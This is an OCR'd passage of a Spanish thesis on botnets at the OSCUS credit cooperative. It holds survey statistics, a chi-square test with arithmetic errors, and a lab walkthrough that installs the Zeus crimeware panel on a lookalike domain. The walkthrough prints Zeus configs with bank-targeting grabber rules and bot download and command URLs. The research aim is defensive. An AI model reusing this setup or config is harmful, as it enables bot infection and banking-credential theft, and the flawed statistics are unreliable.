actualizado y debidamente legalizado él mismo
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6.- Ha recibido Correos sospechosos y en caso de hacerlo los ha abierto?

ITEMS FRECUENCIA %

1 SI 12 80

2 NO 3 20

TOTAL 15 100

Tabla 11 Tabulacion Pregunta 6
Elaborado por: Investigador
Pregunta 6

mSi
B No

Figura 8 Resultados pregunta 6
Elaborado por: Investigador

Analisis En Interpretacion de resultados.

De las 15 personas encuestadas, el 80% que representa a 12 personas nos indican si
han recibido correos sospechosos; el 20% que representa 3 personas nos indican que
no han recibido correos sospechosos

Por lo tanto segun Wikipedia los virus son distribuidos de manera indiscriminada

con distintos fines a nivel mundial, en especial a entidades bancarias.
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7.- ¢ Queé navegador utiliza?

ITEMS FRECUENCIA %

1 Firefox 1 7

2 Chrome 1 7

3 I. Explorer 12 80

4 Otros 1 7

TOTAL 15 100

Tabla 12 Tabulacion Pregunta 7
Elaborado por: Investigador
ANALISIS EN INTERPRETACION
Pregunta 7

M Firefox
B Chrome
= |. Explorer
M Otros

Figura 9 Resultados Pregunta 7

Elaborado por: Investigador.

De las 15 personas encuestadas, el 7% que representa a 1 persona nos indica que
utilizan Firefox, el 7% de las personas que representa a 1 persona utiliza Google
Chrome, el 80% que representa a 12 personas utilizan Internet explorer, el 7% que
representa a 1 persona nos indica que utiliza otro tipo de explorador.

Por lo tanto se considera que lo que Wikipedia , un explorador de internet es un
programa que permite navegar a través de internet y en la mayoria de casos esta

expuesto a infiltraciones virales.
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8.- ¢ Qué servidor de correo electrénico Utiliza?

ITEMS FRECUENCIA | %

Gmail 0 -
Hotmail 3 20
Yahoo 0 -
Otros 8 53
Outlook 4 27
Total 15 100

Tabla 13 Tabulacion Pregunta 8

Elaborado por: Investigador

Pregunta 8
0
B Gmail
H Hotmail
Yahoo
H Otros
= Outlook

Figura 10 Resultados Pregunta 8

Elaborado por: investigador

ANALISIS EN INTERPRETACION

De las 15 personas encuestadas, el 27% que representa a 4 personas nos indica que
utiliza Outlook como servidor de correo electrénico; el 53% que representa a 8
personas nos indican que utilizan otros servidores de correo electronico, el 20% de las
personas que representan a 3 personas nos indican que utilizan Hotmail.

Por lo tanto se considera que lo que en Wikipedia los servidores de correo electronico

son puertas abiertas para la infiltracion de software dafiino a nuestras computadores.

36



9.- ¢En qué grado supone usted que son los dafios que provocan los virus?

ITEMS FRECUENCIA %
1 MUY ALTO 8 53
2 ALTO 3 20
3 MEDIO 1 7
4 BAJO 3 20
TOTAL 15 100

Tabla 14 Tabulacion Pregunta 9

Elaborado por: Investigador

Pregunta 9

B Muy Alto
H Alto
Medio

M Bajo

ANALISIS EN INTERPRETACION

De las 15 personas encuestadas, el 20% que representa a 3 personas nos indica que
los dafios que provocan los virus son altos; el 53% que representa a 8 personas nos
indican que el dafio que provocan los virus son muy altos, el 7 % que representa a 1
personas nos indica que el dafio que provocan los virus es en nivel medio y el 20%
que representa a 3 personas no manifiesta que el nivel dafio que causa el virus es bajo.
Por lo tanto se considera que lo que diceCastillo, MatieldePlourd, un virus es un
pequefio programa escrito intencionalmente para instalarse en la computadora de un
usuario sin el conocimiento o el permiso de éste y causar el mayor dafio posible a los

computadores.
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10) ¢Piensa usted que la gente esta lo suficientemente informada acerca de este

tema (Botnets)?

ITEMS FRECUENCIA %
1 S| 0 0
2 NO 15 100
TOTAL 50 100

Tabla 15 Tabulacion Pregunta 10

Elaborado por: Investigador

Pregunta 10

mSi

H No

Figura 11 Resultados Pregunta 10

Elaborado por: Investigador

Analisis en interpretacion de resultados.

El 100% de las personas encuestadas que representan a 15 personas manifiestan que
la gente no se encuentra lo suficientemente informada acerca de estos temas

Segun Arcert, el desconocimiento acerca de los virus es un gravisimo problema en
cuanto a las infiltraciones de codigo malicioso en los computadores de los usuarios

informaticos.
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11) ¢ Cree usted que es importante implementar un manual de buen uso de

Correo Electronico y actualizaciones de software para evitar robo de

informacién?

ITEMS FRECUENCIA %
1 S| 15 0
2 NO 0 100
TOTAL 15 100
Tabla 16 Tabulacion Pregunta 11
Elaborado por: Investigador
Pregunta 11
0
M si
Hno

Anadlisis en interpretacion de resultados.
El 100% de las personas encuestadas que representan a 15 personas manifiestan que
es importante implementar un manual de buen uso de Correo Electronico y

actualizaciones de software para evitar robo de informacion.
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12) ¢ Considera Usted que la informacion de su computador esta segura contra
los delitos informaticos?

ITEMS FRECUENCIA %
1 S 4 26,66
2 NO 11 73,33
TOTAL 15 100

Tabla 17 Tabulacion Pregunta 12

Elaborado por: Investigador

Pregunta 12

M sj

Hno

Analisis en interpretacion de resultados.
El 73,33 % de las personas encuestadas que representan a 11 personas manifiestan
que la informacion de su computador no esta segura contra los delitos informaticos,

mientras que un 26,66 % manifiesta que su informacién esta segura contar delitos
informaticos.
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4.1 VERIFICACION DE LA HIPOTESIS

Se ha tomado en cuenta las dos preguntas discriminantes, la numero 1 ¢Sabe Ud. lo
que es una Botnet? Ya que los usuarios de la cooperativa no saben lo que es una
botnet y las amenazas que estas provocan, la pregunta nimero 2 Ha notado que se ha
infectado la informacién de su computador con virus?, la pregunta nimero 6 de la
encuesta aplicada ¢Ha recibido correos sospechosos y en caso de recibirlos los abri?,
ya que los resultados arrojados nos muestran que las personas no tienen el
conocimiento basico acerca de las botnet y el impacto que producen en los
computadores, asi como también del alto riesgo de recibir virus mediante correo
electronico la pregunta 10 ¢Piensa usted que la gente esta lo suficientemente
informada acerca de este tema (Botnets)?, y la pregunta nimero 12 ;Considera Usted

que la informacién de su computador esta segura contra los delitos informaticos?.

PASO 1. PLANTEAMIENTO DE LA HIPOTESIS

MODELO LOGICO:

“Botnet como medio de propagacion de malware influiria en la seguridad de la
informacion en los computadores de los empleados de la Cooperativa de Ahorro y
Crédito “OSCUS” Ltda”

a) HIPOTESIS NULA (HO0): “Botnet como medio de propagacion de malware NO
influiria en la seguridad de la informacion en los computadores de los empleados de
la Cooperativa de Ahorro y Crédito “OSCUS” Ltda”

b) HIPOTESIS ALTERNA (H1): “Botnet como medio de propagacion de malware
Sl influiria en la seguridad de la informacion en los computadores de los empleados
de la Cooperativa de Ahorro y Crédito “OSCUS” Ltda “

MODELO MATEMATICO

HO = H1
HO #HI
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PASO 2. NIVEL DE SIGNIFICACION

El nivel de significancia denominado nivel de confianza, se refiere a la probabilidad
de que los resultados observados se deban al azar.

Este valor es fijado por el investigador, usualmente es el 5% o 10%. Lo que indica
que si se toma a = 0.05, se esta significando que solo en un 5% de las veces en que se
realice la medicion, el resultado obtenido podria deberse al azar. De lo contrario se
podria decir que existe un nivel de confianza del 95% que el resultado es real y no
debido a la casualidad.

Nivel de confiabilidad = 95%

Para comprobacion de la hipotesis se selecciona un nivel de significacion del 5%,
(0=0,05).

Donde: o = nivel de significancia

Paso 3. Determinar las frecuencias observadas y esperadas

A continuacién se presenta la tabla de frecuencias observadas con los datos extraidos
de las encuestas y agrupados por las preguntas mas significativas relacionadas con las
variable independiente y la variable dependiente y en funcion de éstas se calculo las

frecuencias esperadas y por ultimo Chi cuadrado ( X2).

N° | PREGUNTA SI | NO | TOTAL

1 | ¢Sabe usted lo que es una Botnet? 0 |15 |15

2 | ¢Ha notado que se ha infectado la informacion de su |8 |7 15

computador con virus?

6 | ¢Ha recibido Correos sospechosos y en caso de hacerlo | 12 | 3 15

los ha abierto?

10 | ¢Piensa usted que la gente esta lo suficientemente |0 |15 |15

informada acerca de este tema (Botnets)?

12 | ¢(Considera Usted que la informacion de su |4 |11 |15
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computador estd segura contra los delitos

informaticos?

TOTAL 24 |51 |75
Tabla 18 Frecuencias Observadas
Elaborado por: Investigador
FRECUENCIAS ESPERADAS.
fo— (Total Filas)(Total Columnas)
Gran Total
N° | PREGUNTA SI | NO | TOTAL
1 | ¢Sabe usted lo que es una Botnet? 481102 |15
2 | ¢Hanotado que sea infectado su PC con virus? 4.8 |10.2 | 15
6 | Ha recibido Correos sospechosos y en caso de hacerlo | 4.8 | 10.2 | 15
los ha abierto?
10 | ¢Piensa usted que la gente esta lo suficientemente | 4.8 | 10.2 | 15
informada acerca de este tema (Botnets)?
12 | ¢(Considera Usted que la informaciéon de su|4.8|10.2 |15
computador esta segura contra los delitos
informéticos?
TOTAL 24 |51 |75

Tabla 19 Frecuencias Esperadas

Elaborado por: Investigador

Paso 4. Seleccién del estadistico

Para la aplicacion del chi-cuadrado se aplica la siguiente formula:

xZ

_ X2(Fo — Fe)?

Fe

Dénde:

Y= Sumatoria

Fo= Frecuencias observadas
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Fe= Frecuencias esperadas
X2= Chi cuadrado

FO FE FO-FE (FO-FE)? (FO-FE)?/ FE

0 4.8 -4.8 23.04 4.8

15 10.2 4.8 23.04 2.258

8 4.8 3.2 10.24 2.133

7 10.2 -3.2 10.24 1.462

12 4.8 7.2 51.84 4.32

13 10.2 2.8 7.84 1.003

0 4.8 4.8 23.04 4.8

15 10.2 4.8 23.04 4.8

4 4.8 -0.8 0.64 0.133

11 10.2 0.8 0.64 0.133
25.842

Tabla 20 Chi Cuadrado
Elaborado por: Investigador
X? Calculado= 25.842

PASO 5. REGION DE ACEPTACION Y RECHAZO

Para determinar la region de aceptacion y rechazo, se calcula los grados de libertad, y
se determina el valor del Chi-Cuadrado en la tabla estadistica.

Grados de Libertad

gl=(n-1)(m-1)

gl=(5-1)(2-1)

gl=4

Donde:
n = columnas
m = filas

gl = grados de libertad
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Valor de chi-cuadrado de la tabla estadistica, segun 4 gl. = 9.488

Figura 12 Verificacion de Hipdtesis

Elaborado por: Investigador

El valor del Chi-cuadrado con 4 grados de libertad es 9.488 y el valor calculado es
25.842; por tanto X2 calculado > X2 critico, entonces se rechaza la hipotesis nula y
se acepta la alterna, determinando que: “Botnet como medio de propagacion de
malware influiria en la seguridad de la informacion en los computadores de los
empleados de la Cooperativa de Ahorro y Crédito “OSCUS” Ltda”.
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CAPITULO V

5.1 Conclusiones

Se concluye que la mayoria del personal de la Cooperativa no cree que que la
informacion que manejan en sus computadores esté protegida contra delitos
informaticos.

De acuerdo a las encuestas la mayoria de personas de la Cooperativa no cuentan
con el conocimiento necesario acerca de lo que son las botnets.

La Cooperativa cuenta con diferentes medios de proteccion antiviral (antivirus),
sin embargo se requiere de un manejo centralizado del antivirus y las
actualizaciones periddicas y automaticas de los mismos.

Los usuarios de la empresa reciben correo electronico sin ningun tipo de
restricciones, por lo cual los usuarios estan propensos a recibir correo basura o a
su vez correo infectado con virus.

De acuerdo a la encuesta se concluye que el personal requiere de procedimientos

para el buen uso de correo electrénico y actualizaciones de software.
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5.2 Recomendaciones.

Los administradores del &rea informética deben proveer los medios y
herramientas necesarias para proteger la informacién de los usuarios.

Capacitar al personal en cuanto a las nuevas y diferentes maneras de infiltraciones
virales y poder contar con la informacién necesaria y poder minimizar este tipo de
infiltraciones.

Realizar una propuesta de los antivirus mejor catalogados, verificar sus pros y
contras, la eficacia de proteccién y comparar los precios de la adquisicion de las
licencias de los antivirus y en base a esto elegir al mejor de todos para su
posterior instalacion.

Establecer controles y filtros de spam en los buzones de correo del personal de la
Cooperativa de Ahorro y Crédito "OSCUS" Ltda.

Mantener actualizado el software instalado en la Cooperativa tales como: los
sistemas operativos, definiciones de virus, firewall, etc.

Estructurar un manual de buen uso de correo electronico y actualizaciones de

software.
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CAPITULO VI

PROPUESTA

6.1 Datos Informativos.

e Titulo

Manual del correcto uso de correo electronico y actualizaciones de software
recolectando informacién que minimice la propagacion de Malware.
* Institucion ejecutora

Cooperativa de Ahorro y Crédito “OSCUS” Ltda.

* Director de Proyecto

Ing. Luis Solis

* Beneficiario

Empleados de la Cooperativa de Ahorro y Crédito “OSCUS” Ltda.

« Ubicacion

Lalama 06-39 entre Sucre y Bolivar edificio Matriz Ambato.

* Tiempo estimado para la ejecucion

Fecha de inicio: enero 2012

Fecha de Finalizacion: diciembre 2012

*Equipo técnico responsable

Investigador: Diego Andrés Ruiz Chavez.
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6.2 Antecedentes de la Propuesta

La Cooperativa de Ahorro y Crédito “OSCUS” Ltda. , usa internet como medio de
comunicacion, el cual permite a sus usuarios contar con: correo electrdnico, redes
sociales entre otros. Estos medios no dejan de ser inseguros en cuanto a filtracion de
informacion se refiere.

El correo electronico es el medio de comunicacidn que mas se maneja en la
Cooperativa y los usuarios estan propensos a recibir informacién de cualquier indole
sean ésta de tipo laboral, spam, virus, etc., el usuario de la cooperativa no se

encuentra al tanto de las amenazas que éstas representan para su informacion.

Por tal razén se da la necesidad de desarrollar un estudio y evaluacién de las botnet,
gue permitira evaluar el impacto de la infiltracion y de esta manera contar con el
conocimiento para desarrollar un manual de correcto uso de correo electronico y
actualizaciones de software, teniendo como objetivo principal evitar el robo de
informacion confidencial en los computadores de los usuarios de la Cooperativa de
Ahorro y Crédito “OSCUS” Ltda.

Cabe sefialar existen varios y con diferente funcionamiento tipos de botnet. Para la
presente investigacion se ha tomado uno de ellos con un previo andlisis de su

funcionamiento, la manera de llegar al usuario final e infectarlo y su propagacion.

6.3 Justificacion.

El proyecto se desarrolla con la finalidad de detectar y evitar ataques informaticos a
través de las botnets; determinar el porcentaje de usuarios contaminados por las
botnet; ademas con lo mencionado anteriormente proveer al usuario de un manual de
buen uso de correo electrénico y electrdnico y actualizaciones de software.

Con el presente estudio se pretende analizar el impacto de las botnet como medio de

propagacién de Malware, a través del medio por el cual suelen propagarse con mucha
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mas rapidez: los correos electronicos; pues el mismo es el medio electronico méas

usado a nivel mundial.

Es por ello que se recomienda la ejecucién de este proyecto ya que al contar con un
manual de buen uso de correo electrénico y actualizaciones de software los usuarios
internos de la Cooperativa de Ahorro y Crédito “OSCUS” Ltda. Contaran con
informacion que minimice las infiltraciones informaticas en los computadores y el

robo de informacion.

6.4 Objetivos

6.4.1 General.

e Desarrollar un manual del correcto uso de correo electrénico y actualizaciones de
software recolectando informacion que minimice la propagacion de Malware.

6.4.2 Especificos.

e Analizar la botnet y la manera en que se propaga en los computadores.

e Determinar las herramientas necesarias para realizar el estudio de las botnet como
medio de propagacion de Malware en los computadores de los usuarios de la
Cooperativa de Ahorro y Crédito “OSCUS” Ltda.

o Establecer los lineamientos que conformaran el manual.

6.5 Andlisis de Factibilidad

6.5.1 Politica
De acuerdo a las politicas internas establecidas a nivel de seguridad
informatica el proyecto es viable para aplicar en la Cooperativa de Ahorro y
Crédito “OSCUS” Ltda. Porgue requieren que la informacion esté protegida

de filtraciones.
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6.5.2

6.5.3

6.5.4

6.5.5

6.5.6

6.5.7

Socio Cultural

El proyecto ayuda a la seguridad informatica de la Cooperativa de Ahorro y
Crédito “OSCUS” Ltda. Porque al contar con mayor seguridad en cuanto a la
recepcion y envio de correos electronicos, la empresa evitard el robo de

informacion de vital importancia.

Tecnoldgica
La Cooperativa de Ahorro y Crédito “OSCUS” Ltda. cuenta con todos los
equipos necesarios para el estudio y evaluacion de las botnet como medio de

propagacién de malware.

Equidad de género
La implementacion del proyecto puede ser realizada y posteriormente

monitoreada por personas de cualquier género en la Cooperativa.

Ambiental
La implementacion del proyecto no afecta al medio ambiente por qué no

usamos sustancias que afecte al ecosistema.

Economico-financiero
El proyecto cuenta con el financiamiento necesario para los elementos

requeridos para la implementacion del presente proyecto.
Legal

El proyecto se sujeta a todas las leyes que el estado y diferentes organismos

ecuatorianos lo disponen.
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6.6 Informe Técnico

6.6.1 Fundamentacion Teorica.

Virus “Es un pequefio programa escrito intencionalmente para instalarse en la
computadora de un usuario sin el conocimiento o el permiso de éste. Se dice que es
un programa parasito porque ataca a los archivos o sector de arranque (boot sector) y

se reproduce a si mismo para continuar su esparcimiento”. (Castillo, 2011)

Uso de Puertas transparentes o errores de configuracion.

Cuando ocurren errores de programacion, los administradores de un sistema dejan
habilitadas las opciones de puertas invisibles llamados “back doors” para poder
acceder al mismo. Las caracteristicas mas comunes de este tipo de fallas al configurar
un sistema se debe a que el administrador de red permite el acceso libre a una
conexion por puertos como el 80 o 25 (telnet) que aprueba el acceso de cualquier
persona al sistema, y ademas libera ciertos programas al publico. (Cevallos Calderon,
2011)

Un botnet es un grupo de computadoras comprometidas a través de bots, éstos son
programas de software que permiten tomar el control remoto de la PC de una victima
desprevenida. Se le conoce a la PC comprometida de esta manera como PC zombi.
Como los zombis de las peliculas de horror, es controlada por alguien méas. En este
caso, ese alguien— el criminal que administra el botnet — es Ilamado un botherder
(pastor de robots). (World P. , 2009)

Los botnets son una herramienta clave en el arsenal de los criminales y se utilizan
principalmente para enviar spam — mucho spam. A menudo los spamherder rentan sus
botnets a otros criminales para enviar correos electronicos para vender productos
como medicamentos falsos o hacer que los receptores den clic en los enlaces que

descargan codigo malicioso y spyware para robar informacion. Los botherders
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aumentan sus propios botnets enviando spam con archivos maliciosos y vinculos que

descargan codigo malicioso para crear bots.

Una red Peer-to-Peer o red de pares o red entre iguales o red punto a punto (P2P, por
sus siglas en inglés) es una red de computadoras en la que todos o algunos aspectos
funcionan sin clientes ni servidores fijos, sino una serie de nodos que se comportan
como iguales entre si. Es decir, actdan simultaneamente como clientes y servidores
respecto a los demas nodos de la red. Las redes P2P permiten el intercambio directo
de informacion, en cualquier formato, entre los computadores interconectados.
(Wikipedia, Per to Per, 2011).

Antivirus

Son programas cuyo objetivo es detectar y/o eliminar virus informaticos. Un antivirus
es un programa de computadora especializado en la deteccidn y eliminacion de virus
informaticos. (Wikipedia, Antivirus, 2011)

Antimalwares.
Software encargado de prevenir la intrusion de badware, codigo maligno, software

malicioso o software malintencionado.” (Wikipedia, Antimalware, 2011)

AntiSpam

M¢étodo para prevenir el "correo basura" (spam = correo electrénico basura).” Tanto
los usuarios finales como los administradores de sistemas de correo electronico
utilizan diversas técnicas contra ello. Algunas de estas técnicas han sido incorporadas
en productos, servicios y software para aliviar la carga que cae sobre usuarios y

administradores. (Wikipedia, Antispam, 2011)

Un dominio de Internet es una red de identificacion asociada a un grupo de

dispositivos o0 equipos conectados a la red Internet.
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6.6.2 HERRAMIENTAS A UTILIZAR

6.6.2.1 Sistema operativo se utiliz6 W7 ultimate x64 bits y Windows Xp SP3.
Windows 7.

Figura 13 Windows7

Fuente: http://t2.gstatic.com/images?q=tbn:ANd9GcQCfLMuDrv2U-
rnVcQoepSrdGozr_ SWLvVD8PuTszIE9aKMCv8sVUA.

Windows 7 producida por Microsoft Corporation. Esta version esta disefiada
para uso en computadores personales, incluyendo equipos de escritorio en

hogares y oficinas, equipos portatiles, tablets, netbooks y equipos media
center.

Windows XP

&/ xp

Figura 14 Windows XP

Fuente: http://www.google.com.ec/imgres?imgurl=http://camyna.com/wp-
content/uploads/2008/03/windows_xp_logo.jpg
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Cuyo nombre clave inicial fue el Whistler, es una version de Microsoft
Windows, linea de sistemas operativos desarrollado por Microsoft. Lanzado al
mercado el 25 de Octubre de 2001, a fecha de agosto de 2012, tenia una cuota
de mercado del 46,33%, y fue superado por Windows 7 que ya tenia un
46,60% de cuota de mercado. Las letras "XP" provienen de la palabra

eXPeriencia (eXPerience en inglés).

6.6.2.2 Filezilla

Figura 15 Filezilla

FileZilla es un cliente FTP multiplataforma de codigo abierto y software libre,
licenciado bajo la Licencia Publica General de GNU. Soporta los protocolos FTP,
SFTP y FTP sobre SSL/TLS (FTPS).

6.6.2.3 Botnets.

6.6.2.3.1 Spyeye.

Figura 16Spyeye

Fuente: http:// http://www.google.com.ec/imgres?imgurl=http://4.bp.blogspot.com
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Este malware tiene la finalidad de establecer y dirigir una red de ordenadores zombi y
después poder llevar a cabo acciones fraudulentas como el envio de spam o el robo de
datos bancarios.

Los avances en la seguridad cada vez son mayores, pero también lo son los esfuerzos
de los atacantes para crear nuevos malware y nuevo métodos para engafar a los
usuarios como el SpyEye.

Segtn el informe de “Analisis de SpyEye Bot”, realizado por Malware Intelligence,
las actividades de esta nueva herramienta son similares a las que desarroll6 ZeusS, una
de las botnets mas grandes. El SpyEye estd disefiado para desarrollarse en
practicamente todos los sistemas operativos de Microsoft.

Su mayor similitud con ZeuS es la automatizacion de robo de informacion
confidencial bancaria y el constructor interno que integra. Debido a que ha entrado en
el mercado hace poco, aun tiene un nivel de deteccién bajo.

SpyEye incluye funcionalidades keylogging, mediante un moddulo denominado
FormGrabbing, que le posibilita obtener informacion mediante varios navegadores
como FireFox, Internet Explorer o Maxthon.

Otro punto importante es que utiliza CC Autofill, que se encarga de automatizar el
robo de datos vinculados a tarjetas de crédito, reportando la informacion al botmaster
(responsable del mantenimiento de la botnet) mediante distintos archivos de registros
(logs).

El comando y el dominio de la botnet se lleva a cabo mediante el protocolo http, con
la opcion de configurar dos posibilidades. De este modo, el botmaster automatiza la
gestién de los equipos zombis y si algin dominio es dado de baja, puede dirigirlo
utilizando la ruta alternativa.

Cuando SpyEye llega a un equipo, crea una conexion con un servidor en la que
guarda datos relacionados con el sistema y, a su vez, descarga una actualizacién de si
mismo (Los detalles de su infeccion vienen expecificados en el informe).

SpyEye se muestra como una importante alternativa a los tipos de ataques que se
suelen ver de este tipo. Con sus caracteristicas y rapido desarrollo, se presenta como

el sucesor y gran competidor directo de ZeuS. (Juanbrow, 2011)
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6.6.2.3.2 Botnet Koobface.

koobface

Figura 17 Koobface

Fuente:
http://t3.gstatic.com/images?q=tbn:ANd9GcR3BoyWMFpwzbL56xXMTmEV6pj
OyrRxJCkHdw_54YX9rBDNgCgX9
Koobface es un gusano multi-plataforma informatico creada originalmente para la
infiltracion en las redes sociales sitios web de Facebook de correo electrénico (su
nombre es un anagrama de "Facebook™ , MySpace , Hi5 , Bebo , Friendster y Twitter
En las versiones posteriores se ha dejado de utilizar las redes sociales tan
ampliamente debido a que mejor6 su proteccion. Koobface estd disefiado para
infectar Microsoft Windows y Mac OS X , pero también funciona en Linux (de

manera limitada)

Emplea las redes sociales como Facebook o MySpace para distribuirse y su finalidad
es convertir en zombies los equipos. Computadores infectados: 2.9 millones.
(Default, 2011)
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6.6.2.3 Botnet Zeus.

Se tomO en cuenta trabajar con la botnet Zeus porque es el kit de crimeware mas
mediatico de los ultimos tiempos. Segun Security by Default la botnet Zeus ha

infectado 3.6 millones de computadores a nivel mundial.

Toolkit ZeuS es un software que permite crear un rebafio de equipos zombies para
realizar ataques masivos, robar credenciales de redes sociales, robar cuentas de correo
electronico y en éste caso especifico el robo de informacion de usuarios de la banca
electronica. Este Toolkit es conocido como crimeware y es ofrecido en foros
undergrounde incluso por correo electrénico a precios muy accesibles.
El kit de crimeware contiene los siguientes modulos:
e Una interfaz web para administrar y controlar la Botnet (ZeuS admin Panel)
e Una herramienta con la cual se crean troyanos binarios y pueden ser cifrados
con:
o Un archivo de configuracion (azul)
o Un archivo de configuracion (rojo)

o Un archivo de webinjects para usuarios avanzados (amarillo)

2 Binider = [B]X]

[Information j| Information
Buw\c!ev Current version

seltings Version: 2.0.8.9

b Buid time: 22:38:59 11,03.2011 GMT
Signature: Death huckster

T’; ™| webinjects
! == Documento de texto
70KB

=
=

Information about active bot
Encryption key:

I
Information:

- Bot not founded.

Figura 18 Partes del Zeus

Elaborado por: Investigador
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Los archivos para la instalacion Zeus, se los puede descargar desde el
internet, los mismos que se procedid a subir en un hosting con la

ayuda de Filezila.

Caracteristicas del Hosting

Para realizar las pruebas se adquirié un hosting en Bluehost y se
compré un dominio similar al de la cooperativa, wwww.0oscus-
coop.com que es el dominio similar, www.oscus.coop que es el

dominio real.

P

Jr——— Overview

UHLIMITED Dick Siorags Undimdted
UNLIMITED Domain Hosiing L
Fres Drag and Drop Ske Sullder (MEW!) L
Fres DomEin Mame [~ Oins Year
Suppart Intemational Domaln Mames o
POFESPORS Secune E-mall Support unamitbeo
AR Sacune IMAP E-mall Suppart Uniimitao
3 Dimzrant Wenmiall (Weh Sased E-mall) Solutions g
Forvanding E-mall Acoounis Undimdted
UHILIMITED &8 of She Transier Uniimitaa
Agt-on Domains Linamibe
Sarked Domzine Unamittso
Subdamains Undlimited
cRansl Account Connol Pane 7
FTE Acocess o
WD Flke MEnasger g
Secure Snell (555 Access o
‘Sener Sioe ncluces 7
HORINK Enotection o
CMErrite Macosss Suppon g
Log Flles L
Ehe SENEtcE 7
Customizanie Enror Pages o
Cusfom Coronjobs g
S0EM ASSS5IN PTORecTion o

Figura 19 Caracteristicas Hosting

Elaborado por: Investigador
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La carpeta que se procedié a subir al hosting es la carpeta de install que es donde se

encuentra la carpeta de instalacion del panel del Zeus.

Archivo Ver Transferencia Servidor Marcadores Ayuda ;Nueva version disponible!
4~ B2y Rk AL
Servidor: Nombre de ysuaro Contragefia: Puerto [[Conesién épda ][]
|Comando: -
[Respuesta: 227 Entering Passive Mode (66,147,242, 164,50,79)
|Comando: MLSD
[Respuesta: 150 Accepted data connection
Respuesta: 225-Optons: -
Respuesta: 226 12 matches total E
[Estado: Directorio listado correctamente b
it local [ C: \Users'diego Desktop\zeus_instalacionzeus 121027\Cpanel\ ~ it remoto: [/ ~
H zeus 130121 tesis. - /
. zeus no detecta
=] zeus_instalacion
= zeus 121027 E|
Cpanel 4
Zeus
| Documents -
Nombre de archivo Tamafiod... Tipodearchive Uitima * | Nombre de archivo. Tamafod.. Tipodearc.. Ultimamodific.. Pen *
Hinstall Carpeta de arc... 05/01/288 _reports Carpetade... 15/01/201380... 075"
system Carpetade arc.,  05/01/2 system Carpetadea,  15/01/201380., 077
theme Carpetadearc... 05/01/2 | theme Carpetade... 15/01/20137:5... 075
[ cp.php 55605 Archivo PHP 21022 | fpquota 11 Archivo FT.. 15/01/201391... 0601
] gate.php 1655 Archive PHP 07/12/2 _ | [ config.bxt 1261 Document.. 15/01/2013
< M = =~ R B [ e T
1 directorio seleccionado. 7 archives y 3 directorios. Tamafio total: 934.417 bytes
Servidor/Archive local Direcciw.  Archivo remoto Tamaiie Prioridad Estado
hin I fallidas
488 Cola: vacia e

Figura 20 Subir Archivos
Elaborado por: Investigador

6.6.2.3.1 Instalacion de Zeus
Para empezar con la instalacion se procedio a dirigirse al explorador http://oscus-

coop.com/install: que mostro la siguiente pantalla:

Control Panel 2.0.%.9 Installer

This application install and configure your control panel on
this sarver, Please typa sattings and press 'Install’.

Rootuser:

User name: (1-20 chars): | G

Password (6-64 chars): S
Host: L]

User: L —
Paszsword: A

Databasza: ]

Local folders:

Reports: _reports
Gnline bot timeaout: 25

Encryption key (1-255 chars): |« —_———

Enable write reports to database.

D Enable write reports to local path,

Figura 21 Instalacion Zeus

Elaborado por: Investigador.
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Root User.
User name: va el nombre del administrador de la botnet:

Password: una contrasefia para logearse en el panel.

MySQL Server.

Host: como es nuestro servidor 127.0.0.1 (Localhost)
User: el usuario que se creo en la base de datos
Password: el pasword que se asignd a ese usuario
Database: la base de datos que creamos en MySQL"
Local Folders.

Reports: va el nombre de la carpeta donde van a ir todos los reportes de infeccion.

Options.

Online bot Timeout: tiempo en el que la maquina infectada esta offline.

Encyption Key: Es una clave que servira para posteriormente para configurar el
archivo config, a mas de servirnos para desinfectarnos de la botnet si nos hemos

infectado sin querer.

Se configuro esta carpeta para que tenga permisos totales al ususario para que asi se
pueda crear tablas sin ninguna restriccion.

Una vez configurado todo esto en el proceso de configuracion se realizo la instalacion
en donde aparece una ventana en donde se especifica que la instalacion concluy6

satisfactoriamente como la que se muestra a continuacion.
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® Connecting to MyS0L as ‘'mentesin_z1".

® Selecting DB 'mentesin_bzeus".

® Creating table 'botnet_list'.

# Creating table 'botnet_reports'.

# Updating table ‘botnet_reports_130124°.
& Updating table 'botnet_reports_130125".
& Updating table 'botnet_reports_130127".
& Updating table 'botnet_reports_130129°,
& Creating table "ipvdtoc'.

# Filling table "ipv4toc".

& Creating table 'cp_users".

& Creating table 'botnet_scrpts".

& Creating table 'boinet_scripts_stat'.

& Creating folder'_reports".

& Writing config file

& Adding user 'admin'.

-- Installation complete! --

Installation steps:

Figura 22 instalacion Finalizada

Elaborado por: Investigador

6.6.2.4 Archivo Config.txt

Como siguiente paso hay que generar el archivo config.txt donde

estan

las

configuraciones de la botnet, y de igual manera el archivo bt.exe que es el archivo

ejecutable del virus.
Esto se lo configur6 con el builder de Zeus.

Pero antes de éste paso se debe configurar el archivo config.txt.

Archivo config.txt sin editar

:Build time: 09:48:52 16.01.2010 GMT
:Version:  1.2.7.19

entry "StaticConfig"

;botnet "btn4"

timer_config 60 1

timer_logs 11

timer_stats 20 1
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url_config "http://www.yourhost.com/cfg.bin"

url_compip "http://www.yourhost.com/ip.php" 4096
encryption_key "x#xdrkkkkkkoxn
;blacklist_languages 1049

end

entry "DynamicConfig"

url_loader "http://www.yourhost.com/bt.exe"

url_server "http://www.yourhost.com/gate.php”

file_webinjects "webinjects.txt"

entry "AdvancedConfigs"
;"http://lwww.yourhost.com/cfgl.bin"

end

entry "WebFilters"
"I* microsoft.com/*"
"Ihttp://*myspace.com*"
"https://www.gruposantander.es/*"
"Ihttp://*odnoklassniki.ru/*"
"Ihttp://vkontakte.ru/*"
"@*/login.osmp.ru/*"
"@*/atl.osmp.ru/*"

end

entry "WebDataFilters"
;"http://mail.rambler.ru/*" "passw;login”

end

entry "WebFakes"
;"http://lwww.google.com” "http://www.yahoo.com™ "GpP" " "

end

entry "TANGrabber”
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"https://banking.*.de/cgi/ueberweisung.cgi/*" "S3R1C6G" "*&tid=*"
"*&betrag=*"

"https://internetbanking.gad.de/banking/*" "S3C6" "*" "*" "KktNrTanEnz"
"https://www.citibank.de/*/jba/mp#/SubmitRecap.do” "S3C6R2"
"SYNC_TOKEN=*""*"
end

entry "DnsMap"
:127.0.0.1 microsoft.com
end

end

Archivo config.txt Editado

;Build time: 09:48:52 16.01.2010 GMT
;Version:  1.2.7.19
entry "StaticConfig"
;botnet "btn4"
timer_config 60 1
timer_logs 11
timer_stats 20 1
url_config "http://oscus-coop.com/z4/cfg.bin"
url_compip "http://oscus-coop.com/z4/ip.php" 4096
encryption_key "iuewuri38iuhee"
;blacklist_languages 1049

end

entry "DynamicConfig"
url_loader "http://oscus-coop.com/z4/bt.exe"
